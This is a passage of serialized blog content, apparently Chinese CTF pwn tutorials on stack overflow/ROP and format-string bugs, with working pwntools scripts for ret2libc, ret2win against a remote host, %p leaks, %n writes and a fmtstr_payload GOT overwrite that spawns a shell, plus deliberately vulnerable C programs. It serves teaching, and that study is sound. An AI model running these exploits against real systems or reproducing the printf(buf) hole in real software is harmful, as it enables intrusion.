第一阶段：泄露 puts 地址并返回 main\n",[32,9301,9302],{"class":34,"line":242},[32,9303,9304],{},"payload1 = b'A' * offset\n",[32,9306,9307],{"class":34,"line":248},[32,9308,9309],{},"payload1 += p64(ret)\n",[32,9311,9312],{"class":34,"line":628},[32,9313,9314],{},"# 先执行一个 ret：让栈指针再弹 8 字节，满足 system 的 16 字节对齐要求。\n",[32,9316,9317],{"class":34,"line":633},[32,9318,9319],{},"payload1 += p64(pop_rdi)\n",[32,9321,9322],{"class":34,"line":639},[32,9323,9324],{},"payload1 += p64(elf.got['puts'])\n",[32,9326,9327],{"class":34,"line":645},[32,9328,9329],{},"# got['puts']：GOT 里存放 puts 真实地址的内存位置。\n",[32,9331,9332],{"class":34,"line":651},[32,9333,9334],{},"payload1 += p64(elf.plt['puts'])\n",[32,9336,9337],{"class":34,"line":657},[32,9338,9339],{},"# plt['puts']：调用 puts 的入口；执行后相当于 puts(puts@got)，打印真实地址。\n",[32,9341,9342],{"class":34,"line":663},[32,9343,9344],{},"payload1 += p64(elf.symbols['main'])\n",[32,9346,9347],{"class":34,"line":669},[32,9348,9349],{},"# 回到 main，让程序再读一次输入，进行第二阶段。\n",[32,9351,9352],{"class":34,"line":675},[32,9353,197],{"emptyLinePlaceholder":196},[32,9355,9356],{"class":34,"line":681},[32,9357,2983],{},[32,9359,9360],{"class":34,"line":686},[32,9361,9362],{},"p.sendline(payload1)\n",[32,9364,9365],{"class":34,"line":692},[32,9366,197],{"emptyLinePlaceholder":196},[32,9368,9369],{"class":34,"line":697},[32,9370,9371],{},"leak = u64(p.recvline().strip().ljust(8, b'\\x00'))\n",[32,9373,9374],{"class":34,"line":703},[32,9375,9376],{},"# recvline()：读一行（puts 输出后带换行）。\n",[32,9378,9379],{"class":34,"line":709},[32,9380,9381],{},"# strip()：去掉换行；ljust(8, b'\\x00')：不足 8 字节用 \\x00 补齐。\n",[32,9383,9384],{"class":34,"line":715},[32,9385,9386],{},"# u64()：8 字节小端转成整数，即 puts 的真实地址。\n",[32,9388,9389],{"class":34,"line":4803},[32,9390,9391],{},"print(\"puts:\", hex(leak))\n",[32,9393,9394],{"class":34,"line":4809},[32,9395,197],{"emptyLinePlaceholder":196},[32,9397,9398],{"class":34,"line":4815},[32,9399,9400],{},"libc.address = leak - libc.symbols['puts']\n",[32,9402,9403],{"class":34,"line":4821},[32,9404,9405],{},"# libc.symbols['puts']：puts 在 libc 文件内的固定偏移。\n",[32,9407,9408],{"class":34,"line":4827},[32,9409,9410],{},"# 真实地址 - 偏移 = libc 基址；给 libc.address 赋值后，\n",[32,9412,9414],{"class":34,"line":9413},39,[32,9415,9416],{},"# 后面的 libc.symbols['system'] 会自动加上基址。\n",[32,9418,9420],{"class":34,"line":9419},40,[32,9421,9422],{},"print(\"libc base:\", hex(libc.address))\n",[32,9424,9426],{"class":34,"line":9425},41,[32,9427,197],{"emptyLinePlaceholder":196},[32,9429,9431],{"class":34,"line":9430},42,[32,9432,9433],{},"# 第二阶段：system(\"/bin/sh\")\n",[32,9435,9437],{"class":34,"line":9436},43,[32,9438,9439],{},"payload2 = b'A' * offset\n",[32,9441,9443],{"class":34,"line":9442},44,[32,9444,9445],{},"payload2 += p64(ret)\n",[32,9447,9449],{"class":34,"line":9448},45,[32,9450,9451],{},"payload2 += p64(pop_rdi)\n",[32,9453,9455],{"class":34,"line":9454},46,[32,9456,9457],{},"payload2 += p64(next(libc.search(b'/bin/sh')))\n",[32,9459,9461],{"class":34,"line":9460},47,[32,9462,9463],{},"# libc.search(b'/bin/sh')：在 libc 里找该字符串的所有位置；\n",[32,9465,9467],{"class":34,"line":9466},48,[32,9468,9469],{},"# next(...) 取第一个位置（偏移），libc.address 赋值后自动加基址。\n",[32,9471,9473],{"class":34,"line":9472},49,[32,9474,9475],{},"payload2 += p64(libc.symbols['system'])\n",[32,9477,9479],{"class":34,"line":9478},50,[32,9480,9481],{},"# 调用 system(\"/bin/sh\")。\n",[32,9483,9485],{"class":34,"line":9484},51,[32,9486,197],{"emptyLinePlaceholder":196},[32,9488,9490],{"class":34,"line":9489},52,[32,9491,9492],{},"p.sendlineafter(b'name?', payload2)\n",[32,9494,9496],{"class":34,"line":9495},53,[32,9497,9498],{},"# sendlineafter：先等提示再发送，保证时序正确。\n",[32,9500,9502],{"class":34,"line":9501},54,[32,9503,3012],{},[15,9505,9506],{},"运行输出：",[22,9508,9511],{"className":9509,"code":9510,"language":110,"meta":27},[108],"puts: 0x7f8a2c3a5aa0\nlibc base: 0x7f8a2c328000\n[*] Switching to interactive mode\n$ id\n",[29,9512,9510],{"__ignoreMap":27},[283,9514,9516],{"id":9515},"_83-三个易错点","8.3 三个易错点",[1826,9518,9519,9539,9554],{},[1829,9520,9521,1598,9524,9527,9528,9531,9532,9535,9536,320],{},[138,9522,9523],{},"补零",[29,9525,9526],{},"puts"," 输出的地址以换行结尾，",[29,9529,9530],{},"strip()"," 去掉换行，",[29,9533,9534],{},"ljust(8, b'\\x00')"," 补到 8 字节再 ",[29,9537,9538],{},"u64",[1829,9540,9541,1598,9544,9547,9548,9551,9552,320],{},[138,9542,9543],{},"对齐",[29,9545,9546],{},"system"," 内部使用 ",[29,9549,9550],{},"movaps","，要求栈 16 字节对齐，需要额外一个 ",[29,9553,8655],{},[1829,9555,9556,9559,9560,9563],{},[138,9557,9558],{},"libc 版本","：远程题目若提供 libc，用 ",[29,9561,9562],{},"libc = ELF('./libc-2.27.so')","；否则在 libc.rip 输入泄露的地址查版本。",[10,9565,9567],{"id":9566},"九必学工具","九、必学工具",[732,9569,9570,9580],{},[735,9571,9572],{},[738,9573,9574,9576,9578],{},[741,9575,816],{},[741,9577,819],{},[741,9579,822],{},[748,9581,9582,9600,9612],{},[738,9583,9584,9586,9598],{},[753,9585,3063],{},[753,9587,9588,66,9590,2161,9592,66,9594,3078,9596],{},[29,9589,3068],{},[29,9591,2721],{},[29,9593,3074],{},[29,9595,2935],{},[29,9597,3081],{},[753,9599,843],{},[738,9601,9602,9604,9607],{},[753,9603,9144],{},[753,9605,9606],{},"搜索 gadget、指定寄存器、输出地址",[753,9608,9609],{},[29,9610,9611],{},"ROPgadget --binary vuln | grep \"pop rdi\"",[738,9613,9614,9617,9620],{},[753,9615,9616],{},"GDB（pwndbg）",[753,9618,9619],{},"断点、看栈、查看崩溃点",[753,9621,9622,66,9624,66,9626],{},[29,9623,3110],{},[29,9625,3113],{},[29,9627,9628],{},"bt",[10,9630,9632],{"id":9631},"十小-ctf-实战","十、小 CTF 实战",[15,9634,888,9635,9637,9638,9640,9641,9643],{},[29,9636,3125],{}," 运行 ",[29,9639,2708],{},"（No canary、No PIE，有 ",[29,9642,2698],{},"）。",[22,9645,9647],{"className":24,"code":9646,"language":26,"meta":27,"style":27},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\np.interactive()\n",[29,9648,9649,9653,9657,9661,9665,9669,9673,9677,9681],{"__ignoreMap":27},[32,9650,9651],{"class":34,"line":35},[32,9652,2732],{},[32,9654,9655],{"class":34,"line":41},[32,9656,197],{"emptyLinePlaceholder":196},[32,9658,9659],{"class":34,"line":47},[32,9660,2822],{},[32,9662,9663],{"class":34,"line":53},[32,9664,2875],{},[32,9666,9667],{"class":34,"line":175},[32,9668,197],{"emptyLinePlaceholder":196},[32,9670,9671],{"class":34,"line":181},[32,9672,2998],{},[32,9674,9675],{"class":34,"line":187},[32,9676,2925],{},[32,9678,9679],{"class":34,"line":193},[32,9680,3213],{},[32,9682,9683],{"class":34,"line":200},[32,9684,3012],{},[15,9686,1224],{},[22,9688,9690],{"className":9689,"code":3228,"language":110,"meta":27},[108],[29,9691,3228],{"__ignoreMap":27},[10,9693,9695],{"id":9694},"十一小结","十一、小结",[15,9697,9698,9699,9701,9702,9704],{},"栈溢出主线：",[29,9700,3089],{}," 判断防护 → ",[29,9703,2721],{}," 找偏移 → 覆盖返回地址。NX 出现后用 ROP，ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。",[1051,9706,9707],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":27,"searchDepth":41,"depth":41,"links":9709},[9710,9711,9712,9713,9714,9715,9716,9717,9718,9719,9720],{"id":8640,"depth":47,"text":8641},{"id":73,"depth":47,"text":74},{"id":2457,"depth":47,"text":2458},{"id":8820,"depth":47,"text":8821},{"id":2702,"depth":47,"text":2703},{"id":9016,"depth":47,"text":9017},{"id":9124,"depth":47,"text":9125},{"id":9191,"depth":47,"text":9192},{"id":9566,"depth":47,"text":9567},{"id":9631,"depth":47,"text":9632},{"id":9694,"depth":47,"text":9695},"栈溢出实践：编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。",{"date":1069,"image":9723,"alt":9724,"tags":9725,"published":196},"/blogs-img/blog8.png","栈溢出与 ROP 深入实战",[1073,2624,9726,1076],"栈溢出","/blogs/ctf-pwn-stack-overflow-rop-deep-dive",{"title":8635,"description":9721},"blogs/17. ctf-pwn-stack-overflow-rop-deep-dive","nXKz1FbP17Wgk_hN6NTnSqOWF8XUdJPumxZYT7_VJr8",{"id":9732,"title":9733,"body":9734,"description":10757,"extension":1067,"meta":10758,"navigation":196,"ogImage":4253,"path":10762,"seo":10763,"stem":10764,"__hash__":10765},"content/blogs/18. ctf-pwn-format-string-deep-dive.md","格式化字符串深入实战：%p 泄露、偏移定位与 %n 任意写",{"type":7,"value":9735,"toc":10745},[9736,9740,9743,9758,9773,9790,9794,9799,9848,9869,9873,9878,9880,9889,9891,9897,9900,9906,9917,9925,9929,9934,9950,9953,9955,9963,9965,9971,9974,9980,9990,10057,10062,10092,10096,10101,10114,10122,10177,10230,10233,10242,10245,10249,10254,10269,10274,10280,10282,10295,10298,10341,10345,10356,10364,10370,10440,10473,10476,10555,10561,10590,10600,10602,10660,10662,10669,10678,10721,10723,10729,10731,10742],[10,9737,9739],{"id":9738},"一现实背景printf-的错误写法","一、现实背景：printf 的错误写法",[15,9741,9742],{},"C 程序员常写的输出代码：",[22,9744,9746],{"className":1853,"code":9745,"language":1855,"meta":27,"style":27},"printf(buf);      // 错误：buf 被当成格式字符串\nprintf(\"%s\", buf); // 正确：buf 只是数据\n",[29,9747,9748,9753],{"__ignoreMap":27},[32,9749,9750],{"class":34,"line":35},[32,9751,9752],{},"printf(buf);      // 错误：buf 被当成格式字符串\n",[32,9754,9755],{"class":34,"line":41},[32,9756,9757],{},"printf(\"%s\", buf); // 正确：buf 只是数据\n",[15,9759,9760,9761,9764,9765,9768,9769,9772],{},"当 ",[29,9762,9763],{},"buf"," 内容是 ",[29,9766,9767],{},"%p"," 时，",[29,9770,9771],{},"printf"," 会把它当格式说明符，去读取\"本不存在的参数\"——读到的是栈与寄存器上的值。这造成两类能力：",[9774,9775,9776,9784],"ul",{},[1829,9777,9778,2161,9780,9783],{},[29,9779,9767],{},[29,9781,9782],{},"%s","：任意读（泄露内存）。",[1829,9785,9786,9789],{},[29,9787,9788],{},"%n","：任意写（写入内存）。",[10,9791,9793],{"id":9792},"二漏洞程序与编译","二、漏洞程序与编译",[15,9795,9796,1598],{},[29,9797,9798],{},"fmt.c",[22,9800,9802],{"className":1853,"code":9801,"language":1855,"meta":27,"style":27},"#include \u003Cstdio.h>\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    return 0;\n}\n",[29,9803,9804,9808,9812,9816,9821,9825,9830,9835,9840,9844],{"__ignoreMap":27},[32,9805,9806],{"class":34,"line":35},[32,9807,2474],{},[32,9809,9810],{"class":34,"line":41},[32,9811,197],{"emptyLinePlaceholder":196},[32,9813,9814],{"class":34,"line":47},[32,9815,2530],{},[32,9817,9818],{"class":34,"line":53},[32,9819,9820],{},"    char buf[100];\n",[32,9822,9823],{"class":34,"line":175},[32,9824,2535],{},[32,9826,9827],{"class":34,"line":181},[32,9828,9829],{},"    printf(\"> \");\n",[32,9831,9832],{"class":34,"line":187},[32,9833,9834],{},"    fgets(buf, sizeof(buf), stdin);\n",[32,9836,9837],{"class":34,"line":193},[32,9838,9839],{},"    printf(buf);          // 漏洞\n",[32,9841,9842],{"class":34,"line":200},[32,9843,2555],{},[32,9845,9846],{"class":34,"line":206},[32,9847,2498],{},[22,9849,9851],{"className":77,"code":9850,"language":79,"meta":27,"style":27},"gcc -o fmt fmt.c -fno-stack-protector -no-pie\n",[29,9852,9853],{"__ignoreMap":27},[32,9854,9855,9857,9859,9862,9865,9867],{"class":34,"line":35},[32,9856,2572],{"class":86},[32,9858,2575],{"class":1016},[32,9860,9861],{"class":90}," fmt",[32,9863,9864],{"class":90}," fmt.c",[32,9866,2584],{"class":1016},[32,9868,2587],{"class":1016},[10,9870,9872],{"id":9871},"三核心步骤-1p-泄露","三、核心步骤 1：%p 泄露",[15,9874,9875,9877],{},[138,9876,140],{},"：用最便宜的测试确认漏洞，并观察\"输入本身出现在参数列表里\"这一关键事实。",[15,9879,6442],{},[22,9881,9883],{"className":77,"code":9882,"language":79,"meta":27,"style":27},"./fmt\n",[29,9884,9885],{"__ignoreMap":27},[32,9886,9887],{"class":34,"line":35},[32,9888,9882],{"class":86},[15,9890,1208],{},[22,9892,9895],{"className":9893,"code":9894,"language":110,"meta":27},[108],"%p.%p.%p.%p.%p.%p\n",[29,9896,9894],{"__ignoreMap":27},[15,9898,9899],{},"实际输出（本机 arm64 实测，Linux x86-64 输出形式一致、地址值不同）：",[22,9901,9904],{"className":9902,"code":9903,"language":110,"meta":27},[108],"> 0xfffffffffffffff0.0x16d8b6c48.0x40000000.0x70252e70252e7025.0x252e70252e70252e.0x100000a70\n",[29,9905,9903],{"__ignoreMap":27},[15,9907,9908,9909,9912,9913,9916],{},"出现一堆十六进制地址，漏洞确认。注意第 4、5 个值里有 ",[29,9910,9911],{},"0x70252e70","，正是 ",[29,9914,9915],{},"%p.%p"," 的 ASCII 字节——说明我们的输入本身也在参数列表里。",[15,9918,9919,1598,9922,9924],{},[138,9920,9921],{},"为什么能泄露",[29,9923,9771],{}," 按格式串逐个取参数。我们没传参数，它就继续往寄存器/栈上读\"不存在的参数\"，读到的都是内存里的真实值。",[10,9926,9928],{"id":9927},"四核心步骤-2偏移定位","四、核心步骤 2：偏移定位",[15,9930,9931,9933],{},[138,9932,140],{},"：确定\"我们的输入位于第几个参数\"，这是所有精确利用的前提。",[15,9935,9936,9938,9939,9941,9942,9945,9946,9949],{},[138,9937,146],{},"：在输入开头放 4 个 ",[29,9940,431],{},"，用 ",[29,9943,9944],{},"%N$p"," 逐个位置试探；哪个位置输出 ",[29,9947,9948],{},"0x41414141","，哪个位置就是输入起点。",[15,9951,9952],{},"要精确利用，需要知道\"我们的输入位于第几个参数\"。",[15,9954,6442],{},[22,9956,9957],{"className":77,"code":9882,"language":79,"meta":27,"style":27},[29,9958,9959],{"__ignoreMap":27},[32,9960,9961],{"class":34,"line":35},[32,9962,9882],{"class":86},[15,9964,1208],{},[22,9966,9969],{"className":9967,"code":9968,"language":110,"meta":27},[108],"AAAA.%6$p\n",[29,9970,9968],{"__ignoreMap":27},[15,9972,9973],{},"预期输出（Linux x86-64 典型情况）：",[22,9975,9978],{"className":9976,"code":9977,"language":110,"meta":27},[108],"> AAAA.0x41414141\n",[29,9979,9977],{"__ignoreMap":27},[15,9981,9982,9983,9985,9986,9989],{},"出现 ",[29,9984,9948],{},"（",[29,9987,9988],{},"AAAA"," 的十六进制），说明 buf 起始位置是第 6 个参数，偏移 = 6。不同程序偏移不同（常见 6-10），确认方法就是逐个数：",[22,9991,9993],{"className":24,"code":9992,"language":26,"meta":27,"style":27},"from pwn import *\n\nfor i in range(1, 15):\n    p = process('./fmt')\n    p.recvuntil(b'> ')\n    p.sendline(f'AAAA.%{i}$p'.encode())\n    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n    # .encode()：字符串转成字节串才能 sendline。\n    out = p.recvall()\n    if b'0x41414141' in out:\n        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n        print(f'offset = {i}')\n        break\n",[29,9994,9995,9999,10003,10008,10013,10018,10023,10028,10033,10038,10043,10048,10053],{"__ignoreMap":27},[32,9996,9997],{"class":34,"line":35},[32,9998,2732],{},[32,10000,10001],{"class":34,"line":41},[32,10002,197],{"emptyLinePlaceholder":196},[32,10004,10005],{"class":34,"line":47},[32,10006,10007],{},"for i in range(1, 15):\n",[32,10009,10010],{"class":34,"line":53},[32,10011,10012],{},"    p = process('./fmt')\n",[32,10014,10015],{"class":34,"line":175},[32,10016,10017],{},"    p.recvuntil(b'> ')\n",[32,10019,10020],{"class":34,"line":181},[32,10021,10022],{},"    p.sendline(f'AAAA.%{i}$p'.encode())\n",[32,10024,10025],{"class":34,"line":187},[32,10026,10027],{},"    # f'AAAA.%{i}$p'：构造 \"AAAA.%1$p\"、\"AAAA.%2$p\" ... 依次试探。\n",[32,10029,10030],{"class":34,"line":193},[32,10031,10032],{},"    # .encode()：字符串转成字节串才能 sendline。\n",[32,10034,10035],{"class":34,"line":200},[32,10036,10037],{},"    out = p.recvall()\n",[32,10039,10040],{"class":34,"line":206},[32,10041,10042],{},"    if b'0x41414141' in out:\n",[32,10044,10045],{"class":34,"line":212},[32,10046,10047],{},"        # 0x41414141 就是 AAAA 的十六进制，说明第 i 个参数是输入起点。\n",[32,10049,10050],{"class":34,"line":218},[32,10051,10052],{},"        print(f'offset = {i}')\n",[32,10054,10055],{"class":34,"line":224},[32,10056,3673],{},[15,10058,1224,10059,320],{},[29,10060,10061],{},"offset = 6",[15,10063,10064,10065,4840,10068,10070,10071,10073,10074,10077,10078,10081,10082,10077,10085,1747,10088,10091],{},"为什么从 6 开始：x86-64 调用约定前 6 个整数参数用寄存器（",[29,10066,10067],{},"rdi, rsi, rdx, rcx, r8, r9",[29,10069,9771],{}," 自己占 ",[29,10072,9178],{},"，所以 ",[29,10075,10076],{},"%1$p"," 到 ",[29,10079,10080],{},"%5$p"," 对应 ",[29,10083,10084],{},"rsi",[29,10086,10087],{},"r9",[29,10089,10090],{},"%6$p"," 开始读栈。",[10,10093,10095],{"id":10094},"五核心步骤-3泄露-canary-与-libc","五、核心步骤 3：泄露 canary 与 libc",[15,10097,10098,10100],{},[138,10099,140],{},"：把栈上的关键保护值（canary）与库地址（libc）泄露出来，供后续利用。",[15,10102,10103,10105,10106,10109,10110,10113],{},[138,10104,146],{},"：不同数据在栈上有固定特征——canary 以 ",[29,10107,10108],{},"00"," 结尾，libc 地址以 ",[29,10111,10112],{},"0x7f"," 开头。扫描一段偏移后按特征识别。",[15,10115,1834,10116,10077,10118,10121],{},[29,10117,10090],{},[29,10119,10120],{},"%40$p"," 全部打出来，识别特征值：",[732,10123,10124,10134],{},[735,10125,10126],{},[738,10127,10128,10131],{},[741,10129,10130],{},"值特征",[741,10132,10133],{},"内容",[748,10135,10136,10147,10158,10168],{},[738,10137,10138,10144],{},[753,10139,10140,10141,10143],{},"以 ",[29,10142,10108],{}," 结尾的随机值",[753,10145,10146],{},"canary",[738,10148,10149,10155],{},[753,10150,10151,10154],{},[29,10152,10153],{},"0x7fff"," 开头",[753,10156,10157],{},"栈地址",[738,10159,10160,10165],{},[753,10161,10162,10154],{},[29,10163,10164],{},"0x55/0x56",[753,10166,10167],{},"程序代码地址（PIE 基址相关）",[738,10169,10170,10174],{},[753,10171,10172,10154],{},[29,10173,10112],{},[753,10175,10176],{},"libc 地址",[22,10178,10180],{"className":24,"code":10179,"language":26,"meta":27,"style":27},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\np.sendline(payload)\nout = p.recvall().decode().split('.')\n# 按点号切分，得到每个位置的值。\n\nfor i, v in enumerate(out):\n    if v.endswith('00') and len(v) == 18:\n        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n        print(f'possible canary at {i+6}: {v}')\n",[29,10181,10182,10187,10192,10196,10201,10206,10210,10215,10220,10225],{"__ignoreMap":27},[32,10183,10184],{"class":34,"line":35},[32,10185,10186],{},"payload = b'.'.join(f'%{i}$p'.encode() for i in range(6, 40))\n",[32,10188,10189],{"class":34,"line":41},[32,10190,10191],{},"# 生成 \"%6$p.%7$p....%39$p\"，一次打出一串值。\n",[32,10193,10194],{"class":34,"line":47},[32,10195,2925],{},[32,10197,10198],{"class":34,"line":53},[32,10199,10200],{},"out = p.recvall().decode().split('.')\n",[32,10202,10203],{"class":34,"line":175},[32,10204,10205],{},"# 按点号切分，得到每个位置的值。\n",[32,10207,10208],{"class":34,"line":181},[32,10209,197],{"emptyLinePlaceholder":196},[32,10211,10212],{"class":34,"line":187},[32,10213,10214],{},"for i, v in enumerate(out):\n",[32,10216,10217],{"class":34,"line":193},[32,10218,10219],{},"    if v.endswith('00') and len(v) == 18:\n",[32,10221,10222],{"class":34,"line":200},[32,10223,10224],{},"        # 16 位十六进制 + 结尾 00：符合 canary 的典型形态。\n",[32,10226,10227],{"class":34,"line":206},[32,10228,10229],{},"        print(f'possible canary at {i+6}: {v}')\n",[15,10231,10232],{},"泄露 libc 地址后：",[22,10234,10236],{"className":24,"code":10235,"language":26,"meta":27,"style":27},"libc.address = leaked_libc_addr - libc.symbols['puts']\n",[29,10237,10238],{"__ignoreMap":27},[32,10239,10240],{"class":34,"line":35},[32,10241,10235],{},[15,10243,10244],{},"与 ret2libc 的\"先泄露再计算\"思路完全一致。",[10,10246,10248],{"id":10247},"六核心步骤-4n-任意写","六、核心步骤 4：%n 任意写",[15,10250,10251,10253],{},[138,10252,140],{},"：理解\"写内存\"的原语，为覆盖 GOT 做准备。",[15,10255,10256,1598,10258,10260,10261,10264,10265,10268],{},[138,10257,146],{},[29,10259,9788],{}," 把\"已打印字符数\"写入参数指向的地址。先用 ",[29,10262,10263],{},"%100c"," 精确控制打印量，再用 ",[29,10266,10267],{},"%N$n"," 写到目标地址。",[15,10270,10271,10273],{},[29,10272,9788],{}," 把\"当前已经打印的字符数\"写入参数指向的地址：",[22,10275,10278],{"className":10276,"code":10277,"language":110,"meta":27},[108],"%100c%7$n\n",[29,10279,10277],{"__ignoreMap":27},[15,10281,9106],{},[1826,10283,10284,10289],{},[1829,10285,10286,10288],{},[29,10287,10263],{}," 打印 100 个填充字符，已打印数变成 100。",[1829,10290,10291,10294],{},[29,10292,10293],{},"%7$n"," 把 100 写入第 7 个参数指向的地址。",[15,10296,10297],{},"所以如果第 7 个参数恰好是我们输入里的一个地址，就能往那个地址写 100。写入宽度控制：",[732,10299,10300,10310],{},[735,10301,10302],{},[738,10303,10304,10307],{},[741,10305,10306],{},"说明符",[741,10308,10309],{},"写入字节数",[748,10311,10312,10321,10331],{},[738,10313,10314,10318],{},[753,10315,10316],{},[29,10317,9788],{},[753,10319,10320],{},"4 字节",[738,10322,10323,10328],{},[753,10324,10325],{},[29,10326,10327],{},"%hn",[753,10329,10330],{},"2 字节",[738,10332,10333,10338],{},[753,10334,10335],{},[29,10336,10337],{},"%hhn",[753,10339,10340],{},"1 字节",[10,10342,10344],{"id":10343},"七核心步骤-5fmtstr_payload-覆盖-got","七、核心步骤 5：fmtstr_payload 覆盖 GOT",[15,10346,10347,10349,10350,10352,10353,10355],{},[138,10348,140],{},"：把程序即将调用的 ",[29,10351,9526],{}," 改成我们的 ",[29,10354,2698],{},"，实现控制流劫持。",[15,10357,10358,1598,10360,10363],{},[138,10359,146],{},[29,10361,10362],{},"puts@got"," 存的是 puts 真实地址；程序每次调 puts 都先查 GOT。把 GOT 内容改成 win 地址，下一次调用就变成执行 win。验证方式：发送 payload 后看是否进入 shell。",[15,10365,10366,10367,1598],{},"目标程序 ",[29,10368,10369],{},"fmt2.c",[22,10371,10373],{"className":1853,"code":10372,"language":1855,"meta":27,"style":27},"#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n\nvoid win() {\n    system(\"/bin/sh\");\n}\n\nint main() {\n    char buf[100];\n    setvbuf(stdout, NULL, _IONBF, 0);\n    printf(\"> \");\n    fgets(buf, sizeof(buf), stdin);\n    printf(buf);          // 漏洞\n    puts(\"Done\");         // 触发 puts@got → win\n    return 0;\n}\n",[29,10374,10375,10379,10383,10387,10391,10395,10399,10403,10407,10411,10415,10419,10423,10427,10432,10436],{"__ignoreMap":27},[32,10376,10377],{"class":34,"line":35},[32,10378,2474],{},[32,10380,10381],{"class":34,"line":41},[32,10382,2479],{},[32,10384,10385],{"class":34,"line":47},[32,10386,197],{"emptyLinePlaceholder":196},[32,10388,10389],{"class":34,"line":53},[32,10390,2488],{},[32,10392,10393],{"class":34,"line":175},[32,10394,2493],{},[32,10396,10397],{"class":34,"line":181},[32,10398,2498],{},[32,10400,10401],{"class":34,"line":187},[32,10402,197],{"emptyLinePlaceholder":196},[32,10404,10405],{"class":34,"line":193},[32,10406,2530],{},[32,10408,10409],{"class":34,"line":200},[32,10410,9820],{},[32,10412,10413],{"class":34,"line":206},[32,10414,2535],{},[32,10416,10417],{"class":34,"line":212},[32,10418,9829],{},[32,10420,10421],{"class":34,"line":218},[32,10422,9834],{},[32,10424,10425],{"class":34,"line":224},[32,10426,9839],{},[32,10428,10429],{"class":34,"line":230},[32,10430,10431],{},"    puts(\"Done\");         // 触发 puts@got → win\n",[32,10433,10434],{"class":34,"line":236},[32,10435,2555],{},[32,10437,10438],{"class":34,"line":242},[32,10439,2498],{},[22,10441,10443],{"className":77,"code":10442,"language":79,"meta":27,"style":27},"gcc -o fmt2 fmt2.c -fno-stack-protector -no-pie\npwn checksec ./fmt2     # 需为 Partial RELRO，GOT 可写\n",[29,10444,10445,10461],{"__ignoreMap":27},[32,10446,10447,10449,10451,10454,10457,10459],{"class":34,"line":35},[32,10448,2572],{"class":86},[32,10450,2575],{"class":1016},[32,10452,10453],{"class":90}," fmt2",[32,10455,10456],{"class":90}," fmt2.c",[32,10458,2584],{"class":1016},[32,10460,2587],{"class":1016},[32,10462,10463,10465,10467,10470],{"class":34,"line":41},[32,10464,2624],{"class":86},[32,10466,2627],{"class":90},[32,10468,10469],{"class":90}," ./fmt2",[32,10471,10472],{"class":2592},"     # 需为 Partial RELRO，GOT 可写\n",[15,10474,10475],{},"利用脚本：",[22,10477,10479],{"className":24,"code":10478,"language":26,"meta":27,"style":27},"from pwn import *\n\ncontext.binary = elf = ELF('./fmt2')\n# context.binary 让 pwntools 自动识别架构与位数。\np = process('./fmt2')\n\noffset = 6\npayload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n# fmtstr_payload(offset, writes)：\n#   第一个参数 offset：输入在参数列表中的位置；\n#   第二个参数是字典 {目标地址: 要写入的值}。\n# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n# 用 %c 控制打印量、%hn 分别写入 puts@got 与 puts@got+2。\n\np.sendline(payload)\np.interactive()\n",[29,10480,10481,10485,10489,10494,10499,10504,10508,10513,10518,10523,10528,10533,10538,10543,10547,10551],{"__ignoreMap":27},[32,10482,10483],{"class":34,"line":35},[32,10484,2732],{},[32,10486,10487],{"class":34,"line":41},[32,10488,197],{"emptyLinePlaceholder":196},[32,10490,10491],{"class":34,"line":47},[32,10492,10493],{},"context.binary = elf = ELF('./fmt2')\n",[32,10495,10496],{"class":34,"line":53},[32,10497,10498],{},"# context.binary 让 pwntools 自动识别架构与位数。\n",[32,10500,10501],{"class":34,"line":175},[32,10502,10503],{},"p = process('./fmt2')\n",[32,10505,10506],{"class":34,"line":181},[32,10507,197],{"emptyLinePlaceholder":196},[32,10509,10510],{"class":34,"line":187},[32,10511,10512],{},"offset = 6\n",[32,10514,10515],{"class":34,"line":193},[32,10516,10517],{},"payload = fmtstr_payload(offset, {elf.got['puts']: elf.symbols['win']})\n",[32,10519,10520],{"class":34,"line":200},[32,10521,10522],{},"# fmtstr_payload(offset, writes)：\n",[32,10524,10525],{"class":34,"line":206},[32,10526,10527],{},"#   第一个参数 offset：输入在参数列表中的位置；\n",[32,10529,10530],{"class":34,"line":212},[32,10531,10532],{},"#   第二个参数是字典 {目标地址: 要写入的值}。\n",[32,10534,10535],{"class":34,"line":218},[32,10536,10537],{},"# 函数内部自动完成：把 win 地址拆成两个 2 字节，\n",[32,10539,10540],{"class":34,"line":224},[32,10541,10542],{},"# 用 %c 控制打印量、%hn 分别写入 puts@got 与 